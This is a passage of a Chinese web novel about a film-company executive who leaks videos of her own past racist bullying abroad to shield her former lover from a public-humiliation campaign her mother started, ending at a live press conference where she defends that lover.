他们把镜头对准苏寄欢，闪光灯疯狂闪烁，像是要把她此刻的失控和崩溃拍成最劲爆的头条。 闪光灯又照进眼里，苏寄欢歪头笑了，她双眼通红，嘶哑破碎的声音像是从胸腔深处硬生生挤出来的。 “你，你，你们……”她的剑尖缓缓移动，指向一张张丑陋的脸，“你们是怎么敢问出这些问题的？” 她的声音陡然拔高，近乎嘶吼：“你们是记者？你们就是这样问问题的吗！你们还有没有一点点良心！” 她的胸口剧烈起伏，心脏疼得她几乎站不稳，可她仍死死站直身子握着剑。 “一个从来都自尊自爱的女生，靠近晏氏之后变了模样，难道不是晏氏的错吗？晏氏是什么德行，你们不清楚，我不清楚吗？她被逼到那个地步，你们为什么不去质问晏氏，为什么不去质问这个吃人的圈子！” “权贵手握钱权，便能把人当玩物，容不得蝼蚁反抗。倘若普通人能掌握一点点可贵的资源，谁还愿意对羞辱她的人俯首称臣。” “向上走并没有错，她只是选错了人。她选了晏氏之后，晏氏根本不会让她有第二个选择，如果她有选择，她怎么会做出这样作践自己的事！她是人！她有尊严！我和她在一起那么久我怎么会不知道她是一个自尊心多么强的人！” 她吼着，想起视频里祝星亦跪下的样子。 谄媚地冲那些人笑，即便被扇巴掌还要强撑着笑，趴在地上学狗叫时肩膀都在颤抖着。 无数个写满屈辱的画面刺痛她的眼，她不知道自己是怎么坚持着从大殿里走到这里和这群记者对峙。 她声音越来越低，像是被抽走所有的力气，“五年，这些视频照片被压了五年，她从来没有跟任何人提过这些事。你们觉得那些是耻辱，对她来说又何尝不是？你们曝光这些视频，现在又对她二次羞辱，你们到底想要怎样，你们要逼死她吗！你们要逼死我吗！！” 吼完，苏寄欢觉得眩晕无比，她有些坚持不住了，急促呼吸之后，赶忙放下提起的剑撑着地。 可那些记者对她说的话充耳不闻，继续提问题。 “苏小姐，这里有最新爆料，早在祝星亦和你在一起之前，她就和晏瑾年接吻过。你所说的两个人没发生过关系，是不是在欺骗自己？” “苏小姐，你这么生气是因为祝星亦真的出轨了吗？请问你被她戴绿帽子有什么看法？” “苏小姐，你粉丝都说祝星亦是个不知羞耻的荡。妇，请问你如何回应？” “苏小姐……” 问题越来越恶心，越来越下作，像是要撕碎祝星亦最后的一点尊严。 苏寄欢咬牙撑着身子冷笑一声。 这群记者根本不是为了所谓的事实才来采访的，他们只是为了话题和流量，他们只想踩在祝星亦身上羞辱她、吸她的热度、吃她的肉。 耳边嘈杂无比，时不时传来一阵尖锐的鸣叫声。 苏寄欢低头看那把插在地上的剑，剑尖接触地面，剑身弯了许多。 她突然觉得一切太荒唐了，荒唐得可笑。 她又觉得是自己做错了。 如果当初她没有那么无能，如果她从一开始就有让[苏盛］抵抗晏氏的能力，如果她从始至终都是强大的苏寄欢，她怎么会让祝星亦有那么一遭。 因为她太弱小，她最珍视的人被权贵当狗欺辱，被这个肮脏的圈子碾碎尊严。 可悲的是，她以为祝星亦在晏氏是风风光光的，于是在祝星亦回国后，亲手碾碎过祝星亦的自尊。 全世界都在羞辱祝星亦，全社会都在看祝星亦的笑话。 而这一切，都是因为她太没用，没能守好本该无忧无虑的祝星亦。 苏寄欢转过身子往外走，她似是疯了般又哭又笑。 这个圈子，本就是一个很荒唐的圈子，这是一个大染缸，这是一个吃人的地方，这是一个带来许多美好和痛苦的地狱。 脚步越来越沉重，她仰起头，刺眼的阳光照在她的脸上。 一束束灼人的光像无数个领奖台上的闪光灯，像手术台上冰冷的灯，也像很多年前，她在那个晚宴上第一次见到祝星亦时，那个女孩眼里闪烁的光芒。 怎么那时，那个19岁女孩的眼睛那么清澈明亮。 怎么这时，灼人的火焰把她们吞噬殆尽。 她的剑“咣当”一声掉在地上。 她再也撑不住了。 世界天旋地转，她重重地倒了下去。 “寄欢！！” “寄欢！寄欢你怎么样了！！都给我滚啊！让开点！快叫救护车！！” 第174章 与她共沉沦 救护车到景区后，凄厉的鸣笛声在汴城的上空嘶喊着，苏菱脸色煞白地跟着担架踏上救护车，双眼死死盯着憔悴不堪、脸上毫无血色的苏寄欢。 车内仪器的声音敲在心尖，苏菱抿紧唇线颤抖地握住苏寄欢的手。 她美丽的女儿，为什么会变成这个样子，为什么要承受这么多病痛。 泪水不由自主地从眼角滑落，苏菱想到罪魁祸首便咬牙切齿：“都怪祝星亦！我女儿要是有什么三长两短，我绝对饶不了她！” 苏芙坐在一旁，看了看苏寄欢毫无血色的脸，又瞧了瞧悲痛欲绝的苏菱，几次欲言又止。 苏寄欢这次发病和祝星亦那些不堪的视频脱不了干系，那些视频，任谁看了也不会冷静下来。 如果苏菱不这样做，苏寄欢也不会变成这副样子，可此时去跟苏菱辩论显然只是徒劳。 抵达医院，护士们飞奔着推着担架车跑去抢救室。苏菱跌跌撞撞跟在车旁握紧苏寄欢的手，一个踉跄差点摔倒。 苏芙扶着她要她别再跟了，她跟着走了几步嘶声竭力地哭喊：“寄欢！寄欢你一定不要出事，你一定要好起来啊！寄欢……我的寄欢啊……” 手术室冰冷的门关上，隔绝了房外的一切。 苏菱瘫坐在椅子上，泪水决堤。 苏芙轻轻拍着她的后背安抚：“四姨，没事的，寄欢一定会没事的。” 苏菱握紧拳头双眼通红，声泪俱下地怒吼：“祝星亦！她到底要把我的寄欢害成什么样！苏芙，这段时间你务必加强对寄欢的看管，绝对不能让那个祝星亦接近寄欢，不许她踏进医院半步！” 这时候劝告什么都没有用，只能好好安抚。苏芙叹口气连忙点头：“好，我不让她过来，四姨，您别气坏了身子，寄欢肯定会没事的。” 漫长的抢救时间，每一秒都像在煎熬。 终于，医生推门而出。 摘下口罩，医生神色平静地说：“病人已无大碍，她最近需要好好静养，你们也要安抚好病人的情绪，千万不要让她太过激动。” 紧绷的神经瞬间松懈，苏菱双腿一软差点瘫倒。她远远地望着戴着呼吸机的苏寄欢，泪水再次模糊了双眼。 这个本该一直光芒万丈的女儿，早年因操劳[苏盛]的事务落下了心脏的病根，又因为祝星亦那个女人的背叛加重了病情。 而如今，又因为这个祝星亦憔悴不堪。 祝星亦，祝星亦，全都是因为祝星亦！！ 十年前，她为什么要同意祝星亦做苏寄欢的学生，她为什么要接受这个祝星亦靠近苏寄欢啊！ 为什么！她为什么要允许这个恶心下贱的女人糟蹋她美好、圣洁的乖女儿！ 苏寄欢的一辈子全毁在这个祝星亦手里！ 她的寄欢吃了那么多苦，被祝星亦享用，而祝星亦不懂感恩，还亲手让寄欢受了那么多罪！ “祝星亦！我恨你！我恨你！！”苏菱怨恨地吼着，她恨透了这个女人，她巴不得这个女人现在立刻死去。 苏芙轻抚苏菱的后背，欲言又止。 自打看了祝星亦的那些视频，她意识到祝星亦在晏氏那边过得没有那么好，心里竟然有了一点点松动。 苏芙也觉得祝星亦太固执，晏氏都这么不把她当人，她还要跟着晏氏。就为了那些资源，要做这么没尊严的事，真是太不应该了！ 祝星亦活该，可祝星亦罪不致全世界都看她笑话。 本身在晏氏那里受了那么多罪，现在又被曝光出来，让全社会看她毫无尊严的过去。 苏菱做得太过分了。 可苏芙别无她法，她劝不了苏菱，她也不知道如何处理这件事。 苏寄欢被转移到VIP病房后还没醒来，苏菱在病房守了她很久很久。 不知道等了多久，苏寄欢终于缓缓睁开空洞的双眼。见她醒来，苏菱眼眶一热，泪水夺眶而出。 她紧紧握住苏寄欢的手，声音哽咽：“寄欢，你昏迷了好久，终于醒了，我担心死了。” 双目无神的苏寄欢双别过脸，用力抽回手，沉默不语。 苏菱只当苏寄欢刚醒来还未缓过神，起身快步走向厨房，盛了一碗热气腾腾的饭：“寄欢，你饿不饿，我刚给你做了……” “允声呢？喊她进来。”苏寄欢突然打断苏菱，面无表情，整个人像丢了魂似的。 苏菱微微一怔，赶忙放下碗坐到苏寄欢身旁，握住她的手心疼地说：“你才刚醒，别着急处理工作，先把身体养好才是最重要的。” 苏寄欢再次抽回手，一字一顿地重复：“叫允声进来，你出去，我有事要跟她说。” 苏菱无奈，只好出门喊在门外守着的金允声，声音带着一丝疲惫：“金助理，寄欢叫你。” 金允声匆匆走进病房，苏菱悄悄掩上门。 苏菱在门口踱步许久，金允声才推门而出。 见金允声神色紧张，苏菱赶忙上前试探地问：“金助理，你和寄欢聊了些什么？” 金允声摇了摇头，目光闪躲：“只是处理《长离引》拍摄的事，我这边先去忙了，您进去吧。” 苏菱皱了皱眉，望着金允声离去的背影满心狐疑，却也只能推门走进病房。坐在床边，她轻声询问：“寄欢，你和金助理聊了些什么？” “关于拍摄的事情。”苏寄欢精神不太好，歪了下头阖上眼睛，“我想先休息休息，不要打扰我。” 病号为大，苏菱给苏寄欢掖掖被角，点点头：“好，好。我不打扰你，你好好休息。” 两天后，房门被敲响了。 苏菱开门后看来人是金允声，含笑问：“金助理，又来汇报工作啊，你进去吧，我出去等。” 金允声摇摇头道：“不，我找您也有点事。” 金允声把门关上，带苏菱一起来到苏寄欢的床前，她把平板放下，深深望了一眼双目无神的苏寄欢，打开平板进行投屏。 正对着病床的电视上出现了平板的画面，苏菱疑惑金允声要做什么，这时金允声说：“苏菱阿姨，这几天您太忙，可能没注意网络上发生了什么事。祝星亦的舆论大肆发酵，她现在遭受了前所未有的舆论攻击，现在出行都有问题，几百名记者在她门前堵着。” “她昨天想要出来看一看苏总，刚跑出来就被记者发现了，逃跑的时候不慎掉进了河里，幸好白助理赶来及时把她捞上来带她跑了。”金允声说着，床上的苏寄欢忽然紧拽着被子。 听到这里，苏菱冷哼一声：“她遭受什么攻击那是她活该！做了那些没自尊的事就要承担这样的风险！” 金允声拧眉道：“可是于情于理，曝光那些东西对她还是对苏总，都百害而无一利。现在只剩主角的戏份没有补拍完，可两个主角都不能来剧组，韩珑导演决定全方位暂停《长离引》的拍摄。这对整个剧组，对[星闪］和[苏盛］都是很大的损失。” “这部剧本就是寄欢出力比较多，她拉了那么多投资给祝星亦那个女人，是祝星亦自己没本事！她有本事她还靠我们寄欢干什么？？她怎么不再去找其他人帮忙？非得扒着我们寄欢不放？！”直至现在，苏菱丝毫不觉得是自己的错。 从一开始她就反对[苏盛］和[星闪］合作，可是她已经没了[苏盛］的控制权，苏寄欢做什么决定她插不了嘴。 很久很久以前，苏寄欢还没有正式完全掌握权力的时候，有什么事都会来请教一下她。 可是后来，她把[苏盛］交给了苏寄欢，苏寄欢做事从来不过问她，她欣慰女儿强大的时候，又担心女儿不再需要她。 做母亲的最害怕的便是孩子真正地长大了，孩子脱离她的怀抱，会越飞越远。 她不想让女儿与她有隔阂，不想眼睁睁看着女儿飞到她都去不了的地方。她更不想让别人玷污自己的女儿，不想女儿受伤害。 她出生在艺术世家，自幼学习绘画，毕业于伦敦艺术大学，开了不知多少个画展，创作出无数个优秀的作品。而她的女儿苏寄欢是她这一生最伟大，最让她满意，也是最完美的作品。 可这个完美的作品，被毁了。 她憎恶毁了这个作品的人，她恨祝星亦。 金允声叹口气，转身把平板放在苏寄欢那一侧，整理好后，快速站在苏菱身边。 她冲苏寄欢点点头，苏寄欢点开微博网站刷新。 起初热搜第一的还是祝星亦的新闻，但刷新过后，苏寄欢的词条不停往上攀爬。 刷了不到一分钟，苏寄欢的词条跑上了第一名。 紧接着，前排涌上许多条苏寄欢的词条，把祝星亦的词条完完全全压了下去。 苏菱正疑惑为什么苏寄欢会上热搜，却见苏寄欢点开了词条。 瞬间，她站不住了。 一段段熟悉的视频映入眼帘。 笑嘻嘻的人群里，被按在地上揪头发和被辱骂的是背着书包穿着校服的十几岁的苏寄欢。 稚嫩的她带着怒火反抗，却被揪着头发怼脸拍，拍摄的人说着“littlebxxch”“disgustinglesbian”ebxxch，lickmypuxxy”。 “Fxxkyou，getout！”苏寄欢推搡着那群人，却被按下头，身子挨了几拳。 片场里，高大的女演员拽着十几岁的苏寄欢的头发把她拽倒，一边说着“GobacktoChina！YouuglyChingChong！”。 女演员扯着眼角说着：“Youuglyyellowbanana，whoareyoutosayImwrong” 随后拽住苏寄欢的衣领冲她脸上揍了一拳，片场里的外国人无动于衷，只有几个华人工作人员上前阻止。 又一段视频，苏寄欢被一群年轻人嘻嘻哈哈笑着抬着，苏寄欢嚎叫着：“Letmedown，youbixxhes！”，那群年轻人也嚎叫着：“Gotohell，Chinaman！”随后苏寄欢被扔进了冰冷的水池里，镜头对准她狼狈的模样。 上流的酒宴里，一群年轻人围着年幼的苏寄欢转圈，转着转着忽然往她身上泼酒砸点心。“Smile，bxxch！”“Chinaman，showmeyourChineseKungFu.” 下一段视频是在酒吧里，稚嫩青涩的苏寄欢在台上跳舞，随后一个金发女人拉走她灌她酒，她拒绝喝酒后被金发女人扇了几巴掌强行灌酒，镜头怼在苏寄欢脸上，拍下她发红的眼。 再下一段视频是拍摄片场，导演用夹杂着生。殖。器的英文骂苏寄欢，随后几个人把苏寄欢按下让她狗叫几声给导演道歉，苏寄欢怒吼着不跪，可最后还是被打到哭着跪了下去。 再下一段视频…… 视频上飘来的是网友们惊讶的言论。 [天啊……居然是苏寄欢］ [苏寄欢在国外真的是狗都不如啊……］ [和祝星亦简直有过之而无不及……］ [不是吧，这真的是苏寄欢吗？说句难听的，这不是奴隶吗？洋人的奴隶！外国佬的狗！］ [苏寄欢！他们都这么歧视华人了你当初怎么还在那里待着！还敢笑！给洋人当狗这么爽吗！］ [苏寄欢你居然给外国人下跪！你这个崇洋媚外的狗东西！我真是看错你了！你把我们中国人的尊严放到哪里去了！］ [真是什么样的老师教出什么样的学生啊，苏寄欢当初给外国人当狗，所以祝星亦给晏氏当狗！］ [苏寄欢在国外生活了8年，当了8年的狗才回国，真是丢人！］ [苏寄欢你这么喜欢给洋人当狗，为什么还要回中国！你一点反抗都没有的吗！为了拍他们洋人的戏就跪下来给他们当狗吗！你真恶心！枉我喜欢你这么多年！］ [祝星亦和苏寄欢这俩人是要把内娱炸了吗？一个比一个劲爆！］ 怎么会……怎么会…… 压了这么多年的视频怎么会曝光出来……怎么会…… 是……是苏寄欢自己曝的，是她自己曝的！ “不要！不要再播放了！不要！”苏菱踉跄着扑向电视，颤抖的手指拼命要去按关机键。 金允声从背后紧紧抱住她的腰，将她拖离屏幕。 “我不要看！我不要看！”苏菱撕心裂肺地哭喊着，双手疯狂地拍打着金允声的手臂，“寄欢！寄欢啊！你为什么要曝光这些视频！你为什么要这样伤害自己！你怎么能亲手毁掉自己的清白和名誉啊！” 苏寄欢平静地看着投在电视上的热搜内容，声音平静得像一潭死水：“妈，你好好看看啊，你看看你的女儿当初为了一点点机会和资源，是怎么忍下这些羞辱的。你看一看二十多年前，在那个歧视华人的环境里，我是怎么一步一步走过来的。” “妈，你不能因为我现在走到了一个高高的位置，就忘记我是怎么走过来的。”她咳嗽了几下，声音依旧没有起伏，“妈，我也曾是一个毫无尊严的人，我也被他们踩在脚底下，面对权力时，面对那样的环境，我也是贪婪的、毫无底线的贱人。” 英文谩骂声、苏寄欢的哭声从视频里传来。 苏菱双腿一软跪倒在地，她颤抖着肩膀哭喊：“寄欢，你为什么要这样做，你明知道那是我们的伤疤，你为什么要揭开。我看不得这些东西，我一点都看不得，你为什么要自己曝光出来。寄欢，我是你的妈妈，我是最爱你的妈妈，为什么要这样伤害我？” “你3岁开始演戏，10岁因为抵抗不了晏氏的欺压去国外，14岁破格进入SCA念书，你在国外8年，你遭了多少罪，受了多白眼。那些耻辱的过去我看都不敢看，想都不敢想，回国之后又被晏氏压了那么久才有了[苏盛］，可你和[苏盛］的路走得又那么跌宕坎坷。寄欢，你吃了那么多苦，走了那么远的路才有今天的成就，你为什么要把自己毁了啊！为什么啊！”苏菱瘫软在金允声怀里，几乎没了力气。 她从来都没有想过苏寄欢会这样做，压了二十年的视频就这样爆出来了，那些耻辱的过去曝光在世人眼中，无异于拿刀子捅她的心脏。 为什么，她的寄欢为什么要用这种方式自毁啊！为什么啊！ “我把自己毁了？毁了？”苏寄欢牵着唇冷笑出声，“妈，你不也把星星毁了？你总觉得我是你的宝贝，不允许任何人玷污我、背叛我、毁了我。可是，妈，星星也是我的宝贝。” “从我爱上她的那一刻，我就决定要亲手扶着她去高位。我想让她和我站在同样的高度，我想让她和我并肩，我希望我和她是平等的，我希望她可以平视我，我希望她做我的爱人、知己、朋友，而不是我的信徒、追崇者。” “我对她好是我心甘情愿，我爱她我才耐心培养她，才把我的一切给她。可我是个废物，我没用，我无法获得那么多资源，只能让她跟我吃苦受罪。如果我够强大，如果我可以抵抗晏氏，如果我可以手握资源和人脉，她怎么会为了往上走而和晏氏为伍？” “妈，往上走是错吗？是错吗？她有野心，她足够坚韧，她想要变得更好，她有错吗？如果你觉得她错了，那我呢？当初在国外我那为了一点点资源，为了能拍电影，为了一个好剧本，对那些人摇尾乞怜也是错吗？如果这些都是错误，那我是否也要责怪你身为一个母亲没能给我提供一条更便捷的路！” “五年前她离开我，她不选择我，那是因为我无能，我废物，这个结果我认。但后来她回到我的身边了，她也有了[星闪］，她说她想追上我的脚步才努力走到这一步。她刚进入影视行业步履艰难，她名声差劲又没有资源，我就想像以前那样，再一次把她扶起来。她在努力带着[星闪］往上走，我真的好欣慰她那么努力把这些事做好。所以我会给《长离引》拉那么大的投资，我希望我们能共同完成这个作品。” 她想起那些过去，一步步带祝星亦走上去的过去。 她天真地以为是一场浪漫的携手共进，却不知道，完美的剧情不会出现在现实之中。 她们只会被不停击倒，只会被逼认清现实。 她颤抖着声音说：“我和她好不容易慢慢重新认识彼此，可是*你为什么要这样，你为什么要曝光那些事，你为什么要让她颜面荡然无存！[苏盛］和[星闪］的合作只有今年最后一年，为什么不能体面一点？” “妈，我是你养大的宝贝，她就不是我养大的宝贝吗？你心疼我过去经历的一切，我也心疼我的星星啊！她受了苦遭了罪，当初我不知真相还嘲讽过她，现在，我的妈妈，你，你也欺负她！她为什么要遭这些罪，我的星星为什么要遭那么多罪受那么多苦！妈！妈！十年！我和她的十年啊！我的一生还有几个十年，你为什么要这样做！你为什么要毁了她！” “她被晏氏的人欺辱，又被你曝光这一切，现在全社会的人都在嘲笑她，你为什么要这么过分，你为什么不换位思考一下？为什么要用这种方式毁掉她的尊严？！妈！星星她是人！你这样做你让她以后怎么活！你让我怎么活！”她情绪激动了些，紧握着拳头捶床，嘶声竭力，“哈哈哈哈哈！你毁了她，你还想继续加这一把火，那你就继续啊，把我也一并毁掉，毁得干干净净！你继续啊！！” 怒吼过后，苏寄欢脸上出现凄惨的笑。 苏菱无力地垂泪：“寄欢，我是你的妈妈，你为什么总把我当你的敌人。我也想要你好好的，你是我的女儿，你在我肚子里的时候就是我的宝贝，我把全世界最好的东西都给你了，我把你养得那么优秀，为什么你到现在还怪我，为什么不珍惜自己的名誉，为什么要为了一个伤害你的女人毁了自己啊……” “寄欢，你到底什么时候才能清醒啊，我看到你这个样子我真的好伤心。”苏菱费力地起身走到床边，她握着苏寄欢的手不停地哭泣，“那个女人害惨了你，你到底什么时候才能醒悟过来，不要再执迷不悟了，寄欢，不要再这样伤我的心了啊寄欢！” 执迷不悟？ 呵，执迷不悟。 苏寄欢苦笑着看着那些满是屈辱的视频，眼角的泪水无声滑落。 她清楚，她明白了。 自诩爱她的妈妈，永远都不会理解她想要的到底是什么。 房间归于死寂后，苏菱走出房门。 门外苏芙带着苏家人赶了过来，苏芙慌张道：“医院外面来了很多记者，四姨，怎么办啊！寄欢自己爆料的比你爆料的祝星亦的事件严重多了，她把那些东西全部散发出去了，还请了很多专业的人曝光这些东西，热搜词条撤都撤不下来！” 苏家人神色紧张，她们万万没想到苏寄欢居然会做出这样的事！她不仅要毁了自己，还要毁了整个[苏盛］啊！ 苏菱强撑着身子站直，事到如今，她也不知道该如何处理。 苏寄欢为了那个女人竟然做得那么绝！ 冷静过后，苏菱严肃道：“三天后召开记者招待会，我要亲自和寄欢一起面对这场舆论。” “她想要用毁了自己的方式救祝星亦，那我便先把祝星亦毁得一干二净！让她死了这条心！” 第175章 迎着月光，盛大出逃 记者招待会的地点定在希迪斯大酒店的会议大厅，双层会议厅，1200平，可容纳近1000人。 苏菱和一些直播平台以及几家大媒体通了气，招待会当天会全程直播，并做好安保措施。 这个招待会是对苏寄欢和祝星亦过往恋情的一个澄清，以及宣布更换《长离引》中[唐离］一角。 苏寄欢已经被转移到家里，她脸色仍旧不太好，苍白的面容上不见一丝血色，整个人像被抽了魂儿，又像是随时都要倒下。 转移到家里后，苏菱下令所有人都不要见苏寄欢，更是没收了苏寄欢所有的通信设备。 金允声被安排处理记者会对接的问题，苏菱特意警告她不许有任何小动作，否则她要代替苏寄欢开除她。 金允声没别的办法，只能先处理记者会的事。 苏芙趁苏菱不在跑到苏寄欢房间，关心问候几句，苏寄欢像是木头一样什么话都不说。 看着苏寄欢消瘦又憔悴的模样，苏芙心里实在不好受，她更难过的是苏寄欢竟然选择自曝黑历史帮祝星亦转移舆论压力。 亲自曝光惨不忍睹的过去，亲自买黑稿引导舆论。那些过去是全苏家人的耻辱，现在苏寄欢把那些耻辱光明正大地拿出来给世人看，公然和苏菱引导的舆论对抗。 很明显，苏寄欢赢了。 大众刷新了对苏寄欢的认知，更坐实了[有其师必有其徒］，两个人被嘲到没边，嘲苏寄欢的也远远大过了嘲祝星亦的。 毕竟形象一直高洁、纯净的苏寄欢曝出这样的丑闻，冲击力更大。 苏芙已经不敢点开手机上的任何新闻，苏寄欢整个人都豁出去了，把所有藏得严严实实的过去全都抛了出去，这和自杀简直没有区别！ 维护了二十多年的完美形象，一朝之间碎得渣都不剩。 苏寄欢为了祝星亦那个女人，竟然能做到这种地步！ “寄欢，你跟我说句话吧。”苏芙不想看到苏寄欢这副模样，可任她怎么说好话，苏寄欢都不搭理她。 苏芙拧着眉毛，眼角酸涩。 她不知道自己该用什么话安慰苏寄欢，现在这种情况说什么都无济于事。 走出苏寄欢的卧室，苏芙想了很久拨通一个人的电话，对面没接。 打了第二个电话，那边才接通。 刚接通，苏芙瞥了眼正联系媒体对接招待会的金允声，赶忙去往阳台处关上门和Lilyana通话。 Lilyana是苏寄欢的心理治疗师，两年前苏寄欢去海外休养的时候被Lilyana治疗，慢慢走出祝星亦带来的痛苦。 询问了Lilyana，Lilyana表示对苏寄欢的现状很关心。 苏寄欢的舆论在外网也开始发酵，好坏评价都有，但苏芙觉得一切都乱成一锅粥了，她都不知道苏菱召开那个记者招待会有什么用。 舆论发展到今天这一步，根本没有回旋的余地。即便网友心疼苏寄欢在海外遭受歧视的经历，也无法消除苏寄欢在视频里可悲、凄惨的形象。 就像有人心疼祝星亦给晏氏当狗的屈辱，也无人能忘记祝星亦跪地学狗爬的毫无尊严的模样。 事实已出，伤害已经造成，即便未来人们不再对二人进行讨论，可谁又能忘记这些耻辱？尊严都没有了，其他的挽回还有什么用？ 苏芙问Lilyana有没有空来中国一趟，她需要Lilyana帮苏寄欢疏导情绪。Lilyana笑说正好要去麓城参加世界心理学术大会，参加完后就会找苏寄欢。 苏芙松了口气：“ThankGod！Youabsolutelegend.Illmeetyouattheairport，yeah（谢天谢地！你一定要来，我到时候会去接你！）” “Sorted.Catchyouthen.Properworriedabouther，Iam.（好，到时候见，我也很关心Nikos！）”Lilyana道。 挂断电话，苏芙双手合十阖上眼睛祈祷。 她希望苏寄欢好好的，她希望苏寄欢好起来，也希望不要再闹出什么大动静了。 当然，她更希望苏菱不要再执着针对祝星亦。 祝星亦是有错，可事情发展到现在这一步，还要去怪谁有错没错吗？现在的问题是这场夸张且充满戏剧性的舆论什么时候结束。 她们需要回归正常人生活，《长离引》也需要一个结局。 可是，苏菱不会懂。 苏菱只会更恨祝星亦。 晚饭的时候苏菱询问苏芙有没有安排好招待会上的其他事，苏芙点点头：“嗯，都安排好了，跟那些媒体通了气，ilmeth也对我们这次直播主动给予了一些支持。” 苏菱道ilmeth很会做生意，提醒苏芙一定要看好金允声，不要让金允声和苏寄欢有接触。 金允声是完全跟苏寄欢站在一起，万一这俩人又碰面，苏寄欢铁定要让金允声再干出什么大事。 苏芙喝了口汤，点点头，“我会注意她的。” “还有，一定要谢绝祝星亦来见寄欢！”苏菱说着说着，平淡的语气忽然变得严厉，“她要是再来见寄欢，我非得打断她的腿！” 苏芙紧蹙眉头，她现在真的觉得苏菱疯了。 记者招待会当天早上，苏芙又去苏寄欢房间看了看苏寄欢。 憔悴不堪的苏寄欢看着窗外，苏芙坐在床边，房间安静了许久，苏寄欢忽然喊了苏芙一声：“苏芙。” 这是几天以来苏寄欢第一次跟她说话。 苏芙脸色有点动容，赶忙握住苏寄欢的手：“嗯，我在呢，你说。” 苏寄欢说了几句话，苏芙低下头沉默。 很久很久，窗外的鸟鸣和蝉鸣把苏芙的思绪勾起来。 苏芙跟着苏寄欢的视线看向窗外，麓城夏日的阳光刺眼得要命，像一把把锋利的刀刃，欲要把身体捅穿。 苏芙咬牙说了声“好”。 她起身离开房间，关门时再次望了望床上的苏寄欢。 “寄欢，我改变不了一切，但我希望你好好的。”苏芙说完，关门离去。 晚上六点，苏芙开车载苏寄欢和苏菱来到希迪斯大酒店。会议厅里的记者已经相继落座等待，金允声在现场核对人员，苏菱专程去检查安保情况。 不为别的，就怕那个祝星亦忽然闯进来。 苏寄欢等人还在后台等候，苏菱检查完安保满意地回到后台，她拉着苏寄欢的手感慨道：“基于你曝光的那些视频的舆论，我这次的处理方式是将话题引导到[种族歧视］和当年华人在国外生存困难上。我也准备好了和你放出的舆论对抗的准备，你再怎么糟蹋自己我也会把你的形象挽回。” “寄欢，你放心，这次招待会过后，外界会更加同情心疼你，正好也能做一次新的话题。被晏氏欺压，在国外生存困难，又被祝星亦那个女人欺骗背叛，你遭遇这么凄惨，怎么会是你的错呢？” 苏菱握紧了苏寄欢的手，心疼地看着丢了魂儿的女儿，起身抱住她道：“我会放出更多祝星亦难堪的视频，只要坐实她无耻又下贱的形象，只要你承认当初是她不择手段勾引你，只要你说你以后不会再和她联系，决定把《长离引》[唐离］一角换掉，一切风波都会平息。” 她拍拍苏寄欢的背叹道：“寄欢，我的好女儿，我不会不管你的。我不会让你为了这个女人不知死活地毁掉自己。你是我身上掉下来的肉啊，我怎么会眼睁睁地看着你掉入深渊？我是最爱你的妈妈，你就算与我为敌我也会管你爱你。我的宝贝，你不要执迷不悟了，只要你回头，我会不计前嫌地接受你。” 她想起苏寄欢这么多年坎坷的经历，眼泪奔涌而出，她哭着抱紧了怀里的女儿说：“你是我最珍视的宝贝，你是我这一生中最美好的作品，我怎么能看你一错再错。我的寄欢，你就听妈妈的话，回头吧。” 她心疼她的女儿，她美好的女儿这半辈子受了太多伤害了，她心疼得要命。如果疼痛可以交换，她宁愿是自己承受这些伤害，而不是要她脆弱美丽的女儿去承受啊！ 苏寄欢的沉默让她安心又难过，她抚摸着苏寄欢的头发亲吻一下，又收紧了手臂。 七点整，招待会准时开始，千人双层会议厅里，乌泱泱一片全是人。安保人员比其他会议布置得要多得多，正对着发言台的是直播摄像机。 正对的位置也是苏寄欢的位置。 苏菱挺直脊背，带着苏寄欢和苏芙稳步走上台。苏芙坐在话筒前深吸一口气，清脆的声音通过话筒传遍整个大厅：“我宣布，本次记者招待会正式开始。” 苏菱对着话筒就最近的舆论风波开始回应，讲到苏寄欢在国外遭遇的悲惨经历时，眼中闪过一丝痛惜：“这一切，都要归结于二十年前华人在海外遭受的严重种族歧视。那时的环境，对华人来说极为艰难。” 台下的记者们纷纷竖起耳朵，手中的笔不停记录着。有记者举手提问：“为什么在遭受这么多歧视的情况下，还要继续在海外发展呢？” 苏菱微微皱眉：“那是因为国内有晏氏从中作梗，寄欢在国内根本无法获取相应的资源。我们无奈之下只能选择去往海外，并且短时间内无法回国发展，只能在海外一忍再忍。” 又一位记者站起身来，大声问道：“说到晏氏，苏寄欢的前女友祝星亦在和苏寄欢恋爱期间与晏氏交好，请问您对此有什么看法？” 苏菱神色一凛，缓缓开口：“祝星亦？当初祝星亦和寄欢谈恋爱，是祝星亦她……” 话还没说完，苏菱手中的话筒突然没了声音。她微微一愣，赶忙越过中间的苏寄欢看向苏芙：“苏芙，你快去看看怎么回事。” 苏芙的眼神闪躲了一下，不敢说话。 万籁俱寂时刻，一直沉默不语的苏寄欢忽然出声：“当初和祝星亦恋爱，是我主动追的她。” 苏菱的脸色瞬间变得煞白。 来之前明明之前商量好的，是祝星亦这个无耻的女人勾引苏寄欢啊！ 苏菱想要上前阻止，可会议厅里将近千家媒体都在注视着且全程直播。 她不能有太大的动作，只能压低声音近乎嘶吼地喊道：“寄欢！你要做什么！” 台下的记者沸腾了会儿，原本准备好的问题抛在脑后，纷纷举起了手机、摄像机。 闪光灯此起彼伏，将整个会议厅照得亮如白昼。 对于苏菱的怒吼，苏寄欢置若罔闻，平淡地说：“是我先爱上的她。当年她只有19岁，还是个不谙世事的学生，而我27岁，已经是事业有成的[苏盛］总裁，也是她崇敬的前辈。我利用我的权势、资历，一步步引诱她。我用我的成熟、耐心和温柔，慢慢靠近她。” “我比她掌握更多人脉、资源，也比她更懂如何在这个圈子里生存下去。而她，比我小八岁，她崇敬成功的我，爱慕优秀美好的我。我一次次在她需要帮助的时候出现，一次次给予她难以拿到的资源。” “她不可自拔地掉进我为她设下的陷阱，她爱上了我，我也得到了年轻美丽的她。我觊觎她，我贪婪，我主动，我凭借一切权力引诱她爱上我。我是一个卑鄙无耻的上位者，是伪装成完美无缺的神女的无耻小人。” 比起那些准备好的问题，当事人亲自讲出的劲爆言论更吸引这群记者。 他们疯狂拍摄，将镜头对准了苏寄欢。 他们站了起来，闪光灯铺满了整个大厅，后排的记者索性站到桌子上，二楼的记者挤到栏杆处往下拍。 直播间的弹幕像爆炸时产生的碎屑噼里啪啦弹动着，密密麻麻的文字几乎看不到到底在说什么。 苏菱猛地站起身来，苏芙见状赶忙起身跑去拉住苏菱。 为什么，为什么要说出这样的话！为什么要说出这些让自己的处境更加艰难的话！这一次明明可以让那个祝星亦身败名裂，明明可以挽回形象，怎么会这样，怎么会这样！ 